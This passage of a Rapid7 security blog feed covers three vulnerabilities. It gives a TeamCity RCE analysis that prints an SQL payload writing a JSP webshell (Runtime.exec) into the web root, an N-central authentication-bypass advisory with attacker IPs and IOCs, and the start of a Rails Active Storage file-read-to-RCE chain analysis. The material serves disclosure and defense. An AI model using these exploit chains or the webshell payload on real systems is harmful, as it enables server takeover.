56);font-size: undefined;'><span data-type='inlineCode'>jdbc:hsqldb:mem:</span></span><span style='font-size: undefined;'> URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>connectionInitSqls</span></span><span style='font-size: undefined;'>, a list of SQL statements intended to initialize each new connection.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="sql">CREATE TABLE IF NOT EXISTS T&lt;RANDOM&gt;(C&lt;RANDOM&gt; VARCHAR(4000))
INSERT INTO T&lt;RANDOM&gt; VALUES ('&lt;% ... Runtime.getRuntime().exec(command) ... %&gt;')
SCRIPT '../webapps/ROOT/&lt;random-hex&gt;.jspws'</pre><p></p><p><span style='font-size: undefined;'>HSQLDB's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SCRIPT</span></span><span style='font-size: undefined;'> statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by </span><a href="https://secfault-security.com/blog/libreoffice.html"><span style='font-size: undefined;'>Secfault Security</span></a><span style='font-size: undefined;'> as part of a LibreOffice exploit.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Executing a JSP payload</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WEB-INF/web.xml</span></span><span style='font-size: undefined;'>. TeamCity defines </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>realJspServlet</span></span><span style='font-size: undefined;'> as Jasper's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>org.apache.jasper.servlet.JspServlet</span></span><span style='font-size: undefined;'>, then maps the custom </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>*.jspws</span></span><span style='font-size: undefined;'> extension directly to it. By contrast, TeamCity sends ordinary </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>*.jsp</span></span><span style='font-size: undefined;'> requests to its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>buildServer</span></span><span style='font-size: undefined;'> dispatcher:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="xml">&lt;servlet&gt;
  &lt;servlet-name&gt;realJspServlet&lt;/servlet-name&gt;
  &lt;servlet-class&gt;org.apache.jasper.servlet.JspServlet&lt;/servlet-class&gt;
&lt;/servlet&gt;

&lt;servlet-mapping&gt;
  &lt;servlet-name&gt;realJspServlet&lt;/servlet-name&gt;
  &lt;url-pattern&gt;*.jspws&lt;/url-pattern&gt;
&lt;/servlet-mapping&gt;

&lt;servlet-mapping&gt;
  &lt;servlet-name&gt;buildServer&lt;/servlet-name&gt;
  &lt;url-pattern&gt;*.jsp&lt;/url-pattern&gt;
&lt;/servlet-mapping&gt;</pre><p></p><p><span style='font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>buildServer</span></span><span style='font-size: undefined;'> servlet does not dispatch every direct </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>.jsp</span></span><span style='font-size: undefined;'> request to Jasper. The corresponding </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>JspController.doHandle()</span></span><span style='font-size: undefined;'> method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:</span></p><p style="direction: ltr;"><span style='color:rgb(55, 71, 79);font-size: undefined;'></span></p><pre language="java">// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>We therefore target </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>.jspws</span></span><span style='font-size: undefined;'>, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Runtime.getRuntime().exec()</span></span><span style='font-size: undefined;'> which in turn can deliver the payload.</span></p><h2 style="direction: ltr;">Exploitation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A proof-of-concept script for CVE-2026-63077 can be found </span><a href="https://github.com/sfewer-r7/CVE-2026-63077"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.</span></p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt07463067f24e4b1c/6a75f477afd7db392d5294cc/poc2.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="poc2.png" asset-alt="poc2.png" style="text-align: center; width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt07463067f24e4b1c/6a75f477afd7db392d5294cc/poc2.png" data-sys-asset-uid="blt07463067f24e4b1c" data-sys-asset-filename="poc2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="poc2.png" sys-style-type="display"/></figure><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 2: Proof-of-concept exploitation.</em></span></p><p></p><p><span style='font-size: undefined;'>The vendor-supplied patch, version </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.1.3</span></span><span style='font-size: undefined;'>, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>teamcity-server.log</span></span><span style='font-size: undefined;'> file on a patched system shows the new XStream </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>NoTypePermission.NONE</span></span><span style='font-size: undefined;'> added by the patch to effectively prevent the gadget chain's first entry, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HSQLMetadataStorage$SchemaMismatchException</span></span><span style='font-size: undefined;'>, from having its type successfully resolved.</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="html">[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...</pre><h2 style="direction: ltr;">IOC</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>C:\TeamCity\logs\teamcity-server.log</span></span><span style='font-size: undefined;'> the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:</span></p><p></p><pre language="html">[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...</pre><p></p><p><span style='font-size: undefined;'>A similar exception in a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>javaLogging</span></span><span style='font-size: undefined;'> file (for example, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log</span></span><span style='font-size: undefined;'>) will also show the gadget chain’s JSPWS payload as part of an </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>org.hsqldb.HsqlException</span></span><span style='font-size: undefined;'> message:</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="html">07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...</pre><h2 style="direction: ltr;">Remediation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>For remediation guidance, please see Rapid7’s Emergent Threat Response </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-63077-critical-unauthenticated-remote-code-execution-in-jetbrains-teamcity/"><span style='font-size: undefined;'>blog</span></a><span style='font-size: undefined;'> for CVE-2026-63077, which contains further details.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077</link>
      <guid isPermaLink="false">blt720afa3aee7d865e</guid>
      <category><![CDATA[Rapid7 Analysis]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Labs]]></category><dc:creator><![CDATA[Stephen Fewer]]></dc:creator>
      <pubDate>Fri, 07 Aug 2026 14:32:47 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-18577: N-able N-central Authentication Bypass Exploited in the Wild]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On August 2, 2026, N-able </span><a href="https://status.n-able.com/2026/08/02/n-central-2026-3-hotfix-1-mitigation-for-cve-2026-18577/"><span style='font-size: undefined;'>published</span></a><span style='font-size: undefined;'> a security advisory for </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-18577/"><span style='font-size: undefined;'>CVE-2026-18577</span></a><span style='font-size: undefined;'>, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-18556/"><span style='font-size: undefined;'>CVE-2026-18556</span></a><span style='font-size: undefined;'> was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>N-able </span><a href="https://www.n-able.com/products/n-central-rmm/network-and-device-management"><span style='font-size: undefined;'>N-central</span></a><span style='font-size: undefined;'> is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>According to N-able, exploitation of CVE-2026-18577 has been </span><a href="https://www.n-able.com/blog/n-central-security-update-august-2-2026"><span style='font-size: undefined;'>observed</span></a><span style='font-size: undefined;'> in the wild since </span><a href="https://uptime.n-able.com/event/201454/"><span style='font-size: undefined;'>August 1, 2026</span></a><span style='font-size: undefined;'>. Following successful exploitation, attackers leveraged the platform's Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (</span><span style='font-size: undefined;'><span data-type='inlineCode'>cloudflared</span></span><span style='font-size: undefined;'>) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was </span><a href="https://www.cisa.gov/news-events/alerts/2026/08/03/cisa-adds-one-known-exploited-vulnerability-catalog"><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> to CISA’s Known Exploited Vulnerability (KEV) catalog and on August 5, 2026, CVE-2026-18556 was also added to the catalog.</span></p><p><span style='font-size: undefined;'>On August 6, 2026, N-able released a </span><a href="https://status.n-able.com/2026/08/06/n-central-2026-3-hotfix-2-additional-mitigation-for-cve-2026-18577/" target="_self"><span style='font-size: undefined;'>second hotfix</span></a><span style='font-size: undefined;'> to further address CVE-2026-18577. This second hotfix supersedes the original hotfix published on August 2, 2026, and provides additional mitigations against the same vulnerability. Customers who have not yet applied the new 2026.3 Hotfix 2 should do so on an urgent basis.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Affected versions:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 2.</span></p></li></ul><p><span style='font-size: undefined;'>Fixed version:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>N-able N-central 2026.3.1 Hotfix 2 (</span><span style='font-size: undefined;'><span data-type='inlineCode'>2026.3.1.10</span></span><span style='font-size: undefined;'>).</span></p></li></ul><p><span style='font-size: undefined;'>The vendor also recommends:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Upgrading N-central agents after applying the server hotfix.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Reviewing systems for indicators of compromise.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Contacting N-able Support immediately if evidence of compromise is discovered.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Engaging internal incident response teams if malicious activity is identified.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>For further information, see the vendor </span><a href="https://status.n-able.com/2026/08/06/n-central-2026-3-hotfix-2-additional-mitigation-for-cve-2026-18577/" target="_self"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">IOCs</h2><p style="direction: ltr;"><span style='font-size: undefined;'>N-able has </span><a href="https://status.n-able.com/2026/08/02/n-central-2026-3-hotfix-1-mitigation-for-cve-2026-18577/"><span style='font-size: undefined;'>published</span></a><span style='font-size: undefined;'> several artifacts that administrators should investigate during incident response.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Endpoint Artifacts:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Presence of a </span><span style='font-size: undefined;'><span data-type='inlineCode'>cloudflared</span></span><span style='font-size: undefined;'> service.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>A suspicious </span><span style='font-size: undefined;'><span data-type='inlineCode'>svchost.exe</span></span><span style='font-size: undefined;'> located within the user's Documents folder.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Network Indicators:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:</span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>173[.]249[.]252[.]200</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>87[.]249[.]138[.]34</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>37[.]19[.]210[.]32</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>37[.]153[.]90[.]88</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>92[.]118[.]112[.]181</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>68[.]235[.]46[.]214 </span></span></p></li></ul></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations should also review:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Authentication logs</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Administrative account creation or modification</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Take Control session activity</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Remote management logs</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Windows service installation events</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>To assist affected organizations running N-central, the vendor has provided a </span><a href="https://developer.n-able.com/n-central/recipes/cve-2026-18577-detection"><span style='font-size: undefined;'>detection template</span></a><span style='font-size: undefined;'> for CVE-2026-18577, which organizations can use to help identify potential compromise.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, InsightVM, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 and CVE-2026-18556 with vulnerability checks available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 4, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>August 4, 2026:</strong></span><span style='font-size: undefined;'> Updated Rapid7 customers section to reflect the availability of vulnerability checks.</span></li><li><span style='font-size: undefined;'><strong>August 7, 2026: </strong></span><span style='font-size: undefined;'>Updated the Overview and Rapid7 Customers sections to indicate addition of CVE-2026-18556 to CISA KEV and availability of vulnerability checks.</span></li><li><span style='font-size: undefined;'><strong>August 14, 2026:</strong></span><span style='font-size: undefined;'> Updated the Overview and Mitigation guidance sections to include the new vendor guidance that 2026.3 Hotfix 2 supersedes the original 2026.3 Hotfix 1.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-18577-n-able-n-central-authentication-bypass-exploited-in-the-wild</link>
      <guid isPermaLink="false">bltda2d23fd03973544</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Labs]]></category>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 04 Aug 2026 11:11:54 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On July 29, 2026, the Ruby on Rails project published a </span><a href="https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-66066/"><span style='font-size: undefined;'>CVE-2026-66066</span></a><span style='font-size: undefined;'>, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&lt; 7.2.3.2</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&gt;= 8.0, &lt; 8.0.5.1</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&gt;= 8.1, &lt; 8.1.3.1</span></span><span style='font-size: undefined;'>. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Our </span><a href="https://www.rapid7.com/blog/post/etr-kindarails2shell-cve-2026-66066-critical-arbitrary-file-read-and-possible-remote-code-execution-in-ruby-on-rails/"><span style='font-size: undefined;'>Emergent Threat Response blog</span></a><span style='font-size: undefined;'> covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. </span><span style='font-size: undefined;'><strong>A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token.</strong></span><span style='font-size: undefined;'> A genuine Active Storage </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>variation_key</span></span><span style='font-size: undefined;'> from the same application, paired with a direct-upload blob whose stored </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>content_type</span></span><span style='font-size: undefined;'> claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>We reproduced the published chain against Rails </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>6.0.6.1</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>6.1.7.10</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>7.2.3.1</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>8.0.5</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>8.1.3</span></span><span style='font-size: undefined;'>, and confirmed that patched </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>7.2.3.2</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>8.0.5.1</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>8.1.3.1</span></span><span style='font-size: undefined;'> targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Hash</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Array</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>String</span></span><span style='font-size: undefined;'> values in a signed variation. That path reaches </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Kernel#spawn</span></span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Kernel#eval</span></span><span style='font-size: undefined;'> through ImageProcessing's chain builder, and it worked when Rails was configured with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>config.active_support.message_serializer = :json</span></span><span style='font-size: undefined;'>.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>matload</span></span><span style='font-size: undefined;'> with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>content_type</span></span><span style='font-size: undefined;'>, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attack can be summarized as follows:</span></p><p><span style='font-size: undefined;'></span></p><pre language="shell-session">[Attacker]
   |
   | 1. Creates a direct-upload blob with content_type = image/png
   v
[Rails stores the blob as an image without examining the bytes]
   |
   | 2. Reuses a genuine variation_key from the same application
   v
[Rails accepts the blob as variable and starts a representation]
   |
   | 3. image_processing hands the local tempfile path to libvips
   v
[libvips matload]
   |
   | 4. Bytes 0-9 match "MATLAB 5.0"
   v
[libmatio]
   |
   | 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
   v
[HDF5 external storage]
   |
   | 6. Dataset bytes come from attacker-chosen path + offset
   v
[Rendered PNG representation]
   |
   --&gt; Target file bytes are returned as image pixels</pre><h2 style="direction: ltr;">Analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>matload</span></span><span style='font-size: undefined;'>, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Direct upload stores an attacker-controlled type</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>8.0.5</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ActiveStorage::DirectUploadsController#create</span></span><span style='font-size: undefined;'> accepts </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>content_type</span></span><span style='font-size: undefined;'> directly from the request and passes it into </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>create_before_direct_upload!</span></span><span style='font-size: undefined;'>:</span></p><p></p><pre language="ruby">class ActiveStorage::DirectUploadsController &lt; 